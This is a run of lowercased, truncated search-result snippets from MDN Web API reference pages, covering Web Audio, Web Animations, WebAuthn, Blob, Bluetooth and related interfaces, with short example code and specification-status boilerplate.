selector('body'); if (event.value < 50) { body.classlist.add('darklight'); body.classlist.remove('brightlight'); } else { body.classlist.add('brightlight'); body.classlist.remove('darklight'); } }); } else { console.log('devicelight event not supported'); } specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
... candidate recommendation initial definition ...
AnalyserNode.getByteFrequencyData() - Web APIs
for any sample which is silent, the value is -infinity.
... specifications specification status comment web audio apithe definition of 'getbytefrequencydata()' in that specification.
AnalyserNode.getFloatFrequencyData() - Web APIs
for any sample which is silent, the value is -infinity.
...et i = 0; i < bufferlength; i++) { const barheight = (dataarray[i] + 140) * 2; canvasctx.fillstyle = 'rgb(' + math.floor(barheight + 100) + ', 50, 50)'; canvasctx.fillrect(posx, canvas.height - barheight / 2, barwidth, barheight / 2); posx += barwidth + 1; } }; draw(); </script> </body> specifications specification status comment web audio apithe definition of 'getfloatfrequencydata()' in that specification.
Animation.finish() - Web APIs
WebAPIAnimationfinish
exceptions invalidstate the player's playback rate is 0 or the animation's playback rate is greater than 0 and the end time of the animation is infinity.
... elem.getanimations().foreach( function(animation){ return animation.finish(); } ); specifications specification status comment web animationsthe definition of 'finish()' in that specification.
Animation.oncancel - Web APIs
the cancel event can be triggered manually with animation.cancel() when the animation enters the "idle" play state from another state, such as when the animation is removed from an element before it finishes playing creating a new animation that is initially idle does not trigger a cancel event on the new animation.
... animation.oncancel = function() { animation.effect.target.remove(); }; specifications specification status comment web animationsthe definition of 'animation.oncancel' in that specification.
Animation.onremove - Web APIs
examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation ...
... specifications specification status comment web animationsthe definition of 'animation.onremove' in that specification.
Animation.pending - Web APIs
WebAPIAnimationpending
the read-only animation.pending property of the web animations api indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.
... specifications specification status comment web animationsthe definition of 'pending' in that specification.
Animation.persist() - Web APIs
WebAPIAnimationpersist
examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <d...
... specifications specification status comment web animationsthe definition of 'persist()' in that specification.
Animation.playbackRate - Web APIs
the playback rate is initially 1.
...en_alice.playbackrate *= .9; } }, 3000); but clicking or tapping on them causes them to speed up by multiplying their playbackrate: var gofaster = function() { redqueen_alice.playbackrate *= 1.1; } document.addeventlistener("click", gofaster); document.addeventlistener("touchstart", gofaster); specifications specification status comment web animationsthe definition of 'animation.playbackrate' in that specification.
Animation.startTime - Web APIs
an animation’s start time is initially unresolved (meaning that it's null because it has no value).
... specifications specification status comment web animationsthe definition of 'animation.starttime' in that specification.
AnimationEvent.animationName - Web APIs
syntax name = animationevent.animationname specifications specification status comment css animationsthe definition of 'animationevent.animationname' in that specification.
... working draft initial definition.
AnimationEvent.elapsedTime - Web APIs
syntax time = animationevent.elapsedtime specifications specification status comment css animationsthe definition of 'animationevent.elapsedtime' in that specification.
... working draft initial definition.
AnimationEvent.pseudoElement - Web APIs
syntax name = animationevent.pseudoelement specifications specification status comment css animationsthe definition of 'animationevent.pseudoelement' in that specification.
... working draft initial definition.
ArrayBufferView - Web APIs
specifications specification status comment web idlthe definition of 'arraybufferview' in that specification.
... candidate recommendation initial definition.
Attr.localName - Web APIs
WebAPIAttrlocalName
specifications specification status comment domthe definition of 'attr.localname' in that specification.
... living standard initial definition ...
Attr.prefix - Web APIs
WebAPIAttrprefix
specifications specification status comment domthe definition of 'attr: prefix' in that specification.
... living standard dom4the definition of 'attr.prefix' in that specification.
AudioBuffer() - Web APIs
specifications specification status comment web audio apithe definition of 'audiobuffer' in that specification.
... working draft initial definition.
AudioBuffer - Web APIs
ay an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); specifications specification status comment web audio apithe definition of 'audiobuffer' in that specification.
... working draft initial definition.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
specifications specification status comment web audio apithe definition of 'audiobuffersourcenode()' in that specification.
... working draft initial definition.
AudioBufferSourceNode.buffer - Web APIs
// this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; specifications specification status comment web audio apithe definition of 'buffer' in that specification.
... working draft initial definition ...
AudioBufferSourceNode.loopEnd - Web APIs
then the current play position will loop back to the 20 second mark and continue playing until the 25 second mark, ad infinitum (or at least until stop() is called).
... loopstartcontrol.oninput = function() { source.loopstart = loopstartcontrol.value; loopstartvalue.innerhtml = loopstartcontrol.value; } loopendcontrol.oninput = function() { source.loopend = loopendcontrol.value; loopendvalue.innerhtml = loopendcontrol.value; } specifications specification status comment web audio apithe definition of 'loopend' in that specification.
AudioConfiguration - Web APIs
'' : 'not ') + 'power efficient.' }); specifications specification status comment media capabilitiesthe definition of 'audioconfiguration' in that specification.
... draft initial definition ...
AudioContext() - Web APIs
var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext({ latencyhint: 'interactive', samplerate: 44100, }); specifications specification status comment web audio apithe definition of 'audiocontext()' in that specification.
... working draft initial definition.
AudioContext.baseLatency - Web APIs
example // default latency ("interactive") const audioctx1 = new audiocontext(); console.log(audioctx1.baselatency); // 0.00 // higher latency ("playback") const audioctx2 = new audiocontext({ latencyhint: 'playback' }); console.log(audioctx2.baselatency); // 0.15 specifications specification status comment web audio apithe definition of 'baselatency' in that specification.
... working draft initial definition.
AudioContext.getOutputTimestamp() - Web APIs
attribute('disabled'); cancelanimationframe(raf); }); // function to output timestamps function outputtimestamps() { let ts = audioctx.getoutputtimestamp() console.log('context time: ' + ts.contexttime + ' | performance time: ' + ts.performancetime); raf = requestanimationframe(outputtimestamps); } specifications specification status comment web audio apithe definition of 'getoutputtimestamp()' in that specification.
... working draft initial definition.
AudioContext - Web APIs
it's recommended to create one audiocontext and reuse it instead of initializing a new one each time, and it's ok to use a single audiocontext for several different audio source and pipeline concurrently.
... specifications specification status comment web audio apithe definition of 'audiocontext' in that specification.
AudioContextLatencyCategory - Web APIs
specifications specification status comment web audio apithe definition of 'audiocontextlatencycategory' in that specification.
... working draft initial definition.
AudioContextOptions.latencyHint - Web APIs
specifications specification status comment web audio apithe definition of 'audiocontextoptions.latencyhint' in that specification.
... working draft initial definition.
AudioContextOptions.sampleRate - Web APIs
specifications specification status comment web audio apithe definition of 'audiocontextoptions.samplerate' in that specification.
... working draft initial definition.
AudioContextOptions - Web APIs
let musiccontext = new audiocontext({ latencyhint: "playback", samplerate: 48000 }); specifications specification status comment web audio apithe definition of 'audiocontextoptions' in that specification.
... working draft initial definition.
AudioListener.setPosition() - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'setposition()' in that specification.
AudioListener - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'audiolistener' in that specification.
AudioNode.channelCount - Web APIs
channelcount's usage and precise definition depend on the value of audionode.channelcountmode: it is ignored if the channelcountmode value is max.
... example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelcount; specifications specification status comment web audio apithe definition of 'channelcount' in that specification.
AudioNode.channelInterpretation - Web APIs
the specification explicitly allows the future definition of new speaker layouts.
...var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelinterpretation = 'discrete'; specifications specification status comment web audio apithe definition of 'channelinterpretation' in that specification.
AudioNode - Web APIs
WebAPIAudioNode
its usage and precise definition depend on the value of audionode.channelcountmode.
...iolent theremin.) const audioctx = new audiocontext(); const oscillator = new oscillatornode(audioctx); const gainnode = new gainnode(audioctx); oscillator.connect(gainnode).connect(audioctx.destination); oscillator.context; oscillator.numberofinputs; oscillator.numberofoutputs; oscillator.channelcount; specifications specification status comment web audio apithe definition of 'audionode' in that specification.
AudioParam.cancelAndHoldAtTime() - Web APIs
specifications specification status comment web audio apithe definition of 'cancelandholdattime()' in that specification.
... working draft initial definition.
AudioParam.defaultValue - Web APIs
the defaultvalue read-only property of the audioparam interface represents the initial value of the attributes as defined by the specific audionode creating the audioparam.
... example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); const defaultval = gainnode.gain.defaultvalue; console.log(defaultval); // 1 console.log(defaultval === gainnode.gain.value); // true specifications specification status comment web audio apithe definition of 'defaultvalue' in that specification.
AudioParam.value - Web APIs
WebAPIAudioParamvalue
initially, the value is set to audioparam.defaultvalue.
... const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); gainnode.gain.value = 0.4; //which is identical to: gainnode.gain.setvalueattime(0.4, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'value' in that specification.
AudioScheduledSourceNode: ended event - Web APIs
specifications specification status comment web audio apithe definition of 'onended' in that specification.
... working draft initial specification.
AudioScheduledSourceNode.onended - Web APIs
node.onended = function(event) { document.getelementbyid("startbutton").disabled = false; } specifications specification status comment web audio apithe definition of 'onended' in that specification.
... working draft initial specification.
AudioTrack.enabled - Web APIs
specifications specification status comment html living standardthe definition of 'audiotrack.enabled' in that specification.
... living standard html5the definition of 'audiotrack.enabled' in that specification.
AudioTrack.id - Web APIs
WebAPIAudioTrackid
specifications specification status comment html living standardthe definition of 'audiotrack.id' in that specification.
... living standard html5the definition of 'audiotrack.id' in that specification.
AudioTrack.kind - Web APIs
WebAPIAudioTrackkind
specifications specification status comment html living standardthe definition of 'audiotrack: kind' in that specification.
... living standard html5the definition of 'audiotrack.kind' in that specification.
AudioTrack.label - Web APIs
WebAPIAudioTracklabel
specifications specification status comment html living standardthe definition of 'audiotrack.label' in that specification.
... living standard html5the definition of 'audiotrack.label' in that specification.
AudioTrack.language - Web APIs
t = []; const wantedkinds = [ "main", "translation" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, language: track.language }); } }); return tracklist; } specifications specification status comment html living standardthe definition of 'audiotrack.language' in that specification.
... living standard html5the definition of 'audiotrack.language' in that specification.
AudioTrack - Web APIs
specifications specification status comment html living standardthe definition of 'audiotrack' in that specification.
... living standard html5the definition of 'audiotrack' in that specification.
AudioTrackList.getTrackById() - Web APIs
specifications specification status comment html living standardthe definition of 'audiotracklist.gettrackbyid()' in that specification.
... living standard html5the definition of 'audiotracklist.gettrackbyid()' in that specification.
AudioTrackList.length - Web APIs
specifications specification status comment html living standardthe definition of 'audiotracklist.length' in that specification.
... living standard html5the definition of 'audiotracklist.length' in that specification.
AudioTrackList.onaddtrack - Web APIs
document.queryselector("video").audiotracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'audiotracklist.onaddtrack' in that specification.
... living standard html5the definition of 'audiotracklist.onaddtrack' in that specification.
AudioTrackList.onchange - Web APIs
specifications specification status comment html living standardthe definition of 'audiotracklist.onchange' in that specification.
... living standard html5the definition of 'audiotracklist.onchange' in that specification.
AudioTrackList.onremovetrack - Web APIs
specifications specification status comment html living standardthe definition of 'audiotracklist.onremovetrack' in that specification.
... living standard html5the definition of 'audiotracklist.onremovetrack' in that specification.
AudioTrackList - Web APIs
audiotracks.onaddtrack = updatetrackcount; audiotracks.onremovetrack = updatetrackcount; function updatetrackcount(event) { trackcount = audiotracks.length; drawtrackcountindicator(trackcount); } specifications specification status comment html living standardthe definition of 'audiotracklist' in that specification.
... living standard html5the definition of 'audiotracklist' in that specification.
AudioWorklet - Web APIs
specifications specification status comment web audio apithe definition of 'audioworklet' in that specification.
... working draft initial definition.
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
defaultvalue optional a float which represents initial value of the audioparam.
...e-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status comment web audio apithe definition of 'parameterdescriptors' in that specification.
AudioWorkletProcessor - Web APIs
the constructor of the deriving class is getting called with an options object, so you can perform a custom initialization procedures — see constructor page for details.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletprocessor' in that specification.
AuthenticatorAssertionResponse.authenticatorData - Web APIs
henticatordata; // maybe try to convert the authenticatordata to see what's inside // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatordata' in that specification.
... recommendation initial definition.
AuthenticatorAssertionResponse.signature - Web APIs
nction (assertionpkcred) { var signature = assertionpkcred.response.signature; // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'signature' in that specification.
... recommendation initial definition.
AuthenticatorAssertionResponse.userHandle - Web APIs
tion (assertionpkcred) { var userhandle = assertionpkcred.response.userhandle; // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'userhandle' in that specification.
... recommendation initial definition.
AuthenticatorAssertionResponse - Web APIs
nse = credentialinfoassertion.response; // do something specific with the response // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorassertionresponse interface' in that specification.
... recommendation initial definition.
AuthenticatorAttestationResponse.attestationObject - Web APIs
newcredentialinfo.response.attestationobject; // this will be a cbor encoded arraybuffer // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'attestationobject' in that specification.
... recommendation initial definition.
AuthenticatorAttestationResponse.getTransports() - Web APIs
) .then(function (newcredentialinfo) { var transports = newcredentialinfo.response.gettransports(); console.table(transports); // may be something like ["internal", "nfc", "usb"] }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'gettransports()' in that specification.
... recommendation initial definition.
AuthenticatorAttestationResponse - Web APIs
y }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorattestationresponse interface' in that specification.
... recommendation initial definition.
AuthenticatorResponse.clientDataJSON - Web APIs
(clientdatastr); console.log(clientdataobj.type); // "webauthn.create" or "webauthn.get" console.log(clientdataobj.challenge); // base64 encoded string containing the original challenge console.log(clientdataobj.origin); // the window.origin specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'clientdatajson' in that specification.
... recommendation initial definition.
AuthenticatorResponse - Web APIs
type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorresponse interface' in that specification.
... recommendation initial definition.
BaseAudioContext.audioWorklet - Web APIs
specifications specification status comment web audio apithe definition of 'audioworklet' in that specification.
... working draft initial definition.
BaseAudioContext.createConstantSource() - Web APIs
specifications specification status comment web audio apithe definition of 'createconstantsource()' in that specification.
... working draft initial definition.
BaseAudioContext.createConvolver() - Web APIs
see the spec definition of convolution for more information.
... convolver.buffer = concerthallbuffer; specifications specification status comment web audio apithe definition of 'createconvolver()' in that specification.
BaseAudioContext.createIIRFilter() - Web APIs
the createiirfilter() method of the baseaudiocontext interface creates an iirfilternode, which represents a general infinite impulse response (iir) filter which can be configured to serve as various types of filter.
... specifications specification status comment web audio apithe definition of 'createiirfilter()' in that specification.
BaseAudioContext.createPanner() - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... specifications specification status comment web audio apithe definition of 'createpanner()' in that specification.
BaseAudioContext.createPeriodicWave() - Web APIs
loat32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag, {disablenormalization: true}); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave here, we create a periodicwave with two values.
... specifications specification status comment web audio apithe definition of 'createperiodicwave' in that specification.
BaseAudioContext.currentTime - Web APIs
specifications specification status comment web audio apithe definition of 'currenttime' in that specification.
... working draft initial definition.
BaseAudioContext - Web APIs
the baseaudiocontext interface of the web audio api acts as a base definition for online and offline audio-processing graphs, as represented by audiocontext and offlineaudiocontext respectively.
...context = new audiocontext(); cross browser variant: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audiocontext = new audiocontext(); const oscillatornode = audiocontext.createoscillator(); const gainnode = audiocontext.creategain(); const finish = audiocontext.destination; specifications specification status comment web audio apithe definition of 'baseaudiocontext' in that specification.
BasicCardRequest - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'basiccardrequest' in that specification.
... working draft initial definition.
BasicCardResponse.billingAddress - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'billingaddress' in that specification.
... working draft initial definition.
BasicCardResponse.cardNumber - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'cardnumber' in that specification.
... working draft initial definition.
BasicCardResponse.cardSecurityCode - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'cardsecuritycode' in that specification.
... working draft initial definition.
BasicCardResponse.cardholderName - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'cardholdername' in that specification.
... working draft initial definition.
BasicCardResponse.expiryMonth - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'expirymonth' in that specification.
... working draft initial definition.
BasicCardResponse.expiryYear - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'expiryyear' in that specification.
... working draft initial definition.
BasicCardResponse - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'basiccardresponse' in that specification.
... working draft initial definition.
BatteryManager.chargingTime - Web APIs
if the battery is currently discharging, this value is infinity.
... example html content <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.chargingtime; document.queryselector('#chargingtime').textcontent = battery.chargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.dischargingTime - Web APIs
this value is infinity if the battery is currently charging rather than discharging, or if the system is unable to report the remaining discharging time.
...ml content <div id="dischargingtime">(discharging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.dischargingtime; document.queryselector('#dischargingtime').textcontent = battery.dischargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BeforeUnloadEvent - Web APIs
(e) { var confirmationmessage = "\o/"; (e || window.event).returnvalue = confirmationmessage; // gecko + ie return confirmationmessage; /* safari, chrome, and other * webkit-derived browsers */ }); specifications specification status comment html living standardthe definition of 'beforeunloadevent' in that specification.
... living standard initial definition ...
BiquadFilterNode() - Web APIs
specifications specification status comment web audio apithe definition of 'biquadfilternode()' in that specification.
... working draft initial definition.
Blob() - Web APIs
WebAPIBlobBlob
example var afileparts = ['<a id="a"><b id="b">hey!</b></a>']; // an array consisting of a single domstring var omyblob = new blob(afileparts, {type : 'text/html'}); // the blob specification specification status comment file apithe definition of 'blob()' in that specification.
... working draft initial definition.
Blob.size - Web APIs
WebAPIBlobsize
telement: <input type="file" multiple id="myfileinput"> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (simliar to nodelist) var files = fileinput.files; for (var i = 0; i < files.length; i++) { console.log(files[i].name + " has a size of " + files[i].size + " bytes"); } specifications specification status comment file apithe definition of 'blob.size' in that specification.
... working draft initial definition.
Blob.slice() - Web APIs
WebAPIBlobslice
specifications specification status comment file apithe definition of 'blob.slice()' in that specification.
... working draft initial definition ...
Blob.type - Web APIs
WebAPIBlobtype
} }); specifications specification status comment file apithe definition of 'blob.type' in that specification.
... working draft initial definition.
Blob - Web APIs
WebAPIBlob
specifications specification status comment file apithe definition of 'the blob interface' in that specification.
... working draft initial definition.
BlobEvent.data - Web APIs
WebAPIBlobEventdata
syntax associatedblob = blobevent.data specifications specification status comment mediastream recordingthe definition of 'blobevent.data' in that specification.
... working draft initial definition.
BlobEvent.timecode - Web APIs
specifications specification status comment mediastream recordingthe definition of 'timecode' in that specification.
... working draft initial definition.
BlobEvent - Web APIs
WebAPIBlobEvent
specifications specification status comment mediastream recordingthe definition of 'blobevent' in that specification.
... working draft initial definition.
Bluetooth.getAvailability() - Web APIs
bluetooth is not supported"); }); specifications specification status comment web bluetooththe definition of 'getavailability()' in that specification.
... draft initial definition.
Bluetooth.getDevices() - Web APIs
specifications specification status comment web bluetooththe definition of 'getdevices()' in that specification.
... draft initial definition.
Bluetooth.onavailabilitychanged - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetooth' in that specification.
... draft initial definition.
Bluetooth.referringDevice - Web APIs
specifications specification status comment web bluetooththe definition of 'referringdevice' in that specification.
... draft initial definition.
Bluetooth.requestDevice() - Web APIs
specifications specification status comment web bluetooththe definition of 'requestdevice()' in that specification.
... draft initial definition.
Bluetooth - Web APIs
WebAPIBluetooth
specifications specification status comment web bluetooththe definition of 'bluetooth' in that specification.
... draft initial definition.
BluetoothCharacteristicProperties.authenticatedSignedWrites - Web APIs
specifications specification status comment web bluetooththe definition of 'authenticatedsignedwrites' in that specification.
... draft initial definition.
BluetoothCharacteristicProperties.broadcast - Web APIs
specifications specification status comment web bluetooththe definition of 'broadcast' in that specification.
... draft initial definition.
BluetoothCharacteristicProperties.indicate - Web APIs
specifications specification status comment web bluetooththe definition of 'indicate' in that specification.
... draft initial definition.
BluetoothCharacteristicProperties.notify - Web APIs
specifications specification status comment web bluetooththe definition of 'notify' in that specification.
... draft initial definition.
BluetoothCharacteristicProperties.read - Web APIs
specifications specification status comment web bluetooththe definition of 'read' in that specification.
... draft initial definition.
BluetoothCharacteristicProperties.reliableWrite - Web APIs
syntax var aboolean = bluetoothcharacteristicproperties.reliablewrite; value a boolean specifications specification status comment web bluetooththe definition of 'reliablewrite' in that specification.
... draft initial definition.
BluetoothCharacteristicProperties.writableAuxiliaries - Web APIs
specifications specification status comment web bluetooththe definition of 'writableauxiliaries' in that specification.
... draft initial definition.
BluetoothCharacteristicProperties.write - Web APIs
specifications specification status comment web bluetooththe definition of 'write' in that specification.
... draft initial definition.
BluetoothCharacteristicProperties.writeWithoutResponse - Web APIs
specifications specification status comment web bluetooththe definition of 'authenticatedsignedwrites' in that specification.
... draft initial definition.
BluetoothCharacteristicProperties - Web APIs
service.getcharacteristic('heart_rate_measurement'); if (characteristic.properties.notify) { characteristics.addeventlistener('characteristicvaluechanged', function(event) { console.log(`received heart rate measurement: ${event.target.value}`); } await characteristic.startnotifications(); } specifications specification status comment web bluetooththe definition of 'bluetoothcharacteristicproperties' in that specification.
... draft initial definition.
BluetoothDevice.gatt - Web APIs
specifications specification status comment web bluetooththe definition of 'gattserver' in that specification.
... draft initial definition.
id - Web APIs
specifications specification status comment web bluetooththe definition of 'id' in that specification.
... draft initial definition.
BluetoothDevice.name - Web APIs
specifications specification status comment web bluetooththe definition of 'name' in that specification.
... draft initial definition.
BluetoothDevice - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothdevice' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic.getDescriptor() - Web APIs
specifications specification status comment web bluetooththe definition of 'getdescriptor()' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic.getDescriptors() - Web APIs
specifications specification status comment web bluetooththe definition of 'getdescriptors()' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic.properties - Web APIs
specifications specification status comment web bluetooththe definition of 'properties' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic.readValue() - Web APIs
specifications specification status comment web bluetooththe definition of 'readvalue()' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic.service - Web APIs
specifications specification status comment web bluetooththe definition of 'service' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic.startNotifications() - Web APIs
specifications specification status comment web bluetooththe definition of 'startnotifications()' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic.stopNotifications() - Web APIs
specifications specification status comment web bluetooththe definition of 'stopnotifications()' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic.uuid - Web APIs
specifications specification status comment web bluetooththe definition of 'uuid' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic.value - Web APIs
specifications specification status comment web bluetooththe definition of 'value' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic.writeValue() - Web APIs
specifications specification status comment web bluetooththe definition of 'writevalue()' in that specification.
... draft initial definition.
BluetoothRemoteGATTCharacteristic - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothremotegattcharacteristic' in that specification.
... draft initial definition.
characteristic - Web APIs
specifications specification status comment web bluetooththe definition of 'characteristic' in that specification.
... draft initial definition.
readValue() - Web APIs
specifications specification status comment web bluetooththe definition of 'readvalue()' in that specification.
... draft initial definition.
uuid - Web APIs
specifications specification status comment web bluetooththe definition of 'uuid' in that specification.
... draft initial definition.
value - Web APIs
specifications specification status comment web bluetooththe definition of 'value' in that specification.
... draft initial definition.
writeValue() - Web APIs
specifications specification status comment web bluetooththe definition of 'writevalue()' in that specification.
... draft initial definition.
BluetoothRemoteGATTDescriptor - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothremotegattdescriptor' in that specification.
... draft initial definition.
BluetoothRemoteGATTServer.connect() - Web APIs
specifications specification status comment web bluetooththe definition of 'connect()' in that specification.
... draft initial definition.
BluetoothRemoteGATTServer.connected - Web APIs
syntax var connected = bluetoothremotegattserver.connected specifications specification status comment web bluetooththe definition of 'connected' in that specification.
... draft initial definition.
BluetoothRemoteGATTServer.device - Web APIs
syntax var device = bluetoothremotegattserver.device specifications specification status comment web bluetooththe definition of 'device' in that specification.
... draft initial definition.
BluetoothRemoteGATTServer.disconnect() - Web APIs
specifications specification status comment web bluetooththe definition of 'disconnect()' in that specification.
... draft initial definition.
BluetoothRemoteGATTServer.getPrimaryService() - Web APIs
specifications specification status comment web bluetooththe definition of 'getprimaryservice()' in that specification.
... draft initial definition.
BluetoothRemoteGATTServer.getPrimaryServices() - Web APIs
specifications specification status comment web bluetooththe definition of 'getprimaryservices()' in that specification.
... draft initial definition.
BluetoothRemoteGATTServer - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothremotegattserver' in that specification.
... draft initial definition.
device - Web APIs
specifications specification status comment web bluetooththe definition of 'device' in that specification.
... draft initial definition.
getCharacteristic() - Web APIs
specifications specification status comment web bluetooththe definition of 'getcharacteristic()' in that specification.
... draft initial definition.
getCharacteristics() - Web APIs
specifications specification status comment web bluetooththe definition of 'getcharacteristics()' in that specification.
... draft initial definition.
getIncludedService() - Web APIs
specifications specification status comment web bluetooththe definition of 'getincludedservice()' in that specification.
... draft initial definition.
getIncludedServices() - Web APIs
specifications specification status comment web bluetooththe definition of 'getincludedservices()' in that specification.
... draft initial definition.
isPrimary - Web APIs
specifications specification status comment web bluetooththe definition of 'isprimary' in that specification.
... draft initial definition.
uuid - Web APIs
specifications specification status comment web bluetooththe definition of 'uuid' in that specification.
... draft initial definition.
BluetoothRemoteGATTService - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothremotegattservice' in that specification.
... draft initial definition.
Body.json() - Web APIs
WebAPIBodyjson
cost: ` ); listitem.appendchild( document.createelement('strong') ).textcontent = `£${product.price}`; mylist.appendchild(listitem); } }) .catch(console.error); specifications specification status comment fetchthe definition of 'body.json()' in that specification.
... living standard initial definition ...
Body - Web APIs
WebAPIBody
this provides these objects with an associated body (a stream), a used flag (initially unset), and a mime type (initially the empty byte sequence).
...://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'body' in that specification.
BroadcastChannel() - Web APIs
var bc = new broadcastchannel('internal_notification'); bc.postmessage('new listening connected!'); specifications specification status comment html living standardthe definition of 'broadcastchannel()' in that specification.
... living standard initial definition.
BroadcastChannel.close() - Web APIs
syntax var str = channel.close(); example // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.close()' in that specification.
... living standard initial definition.
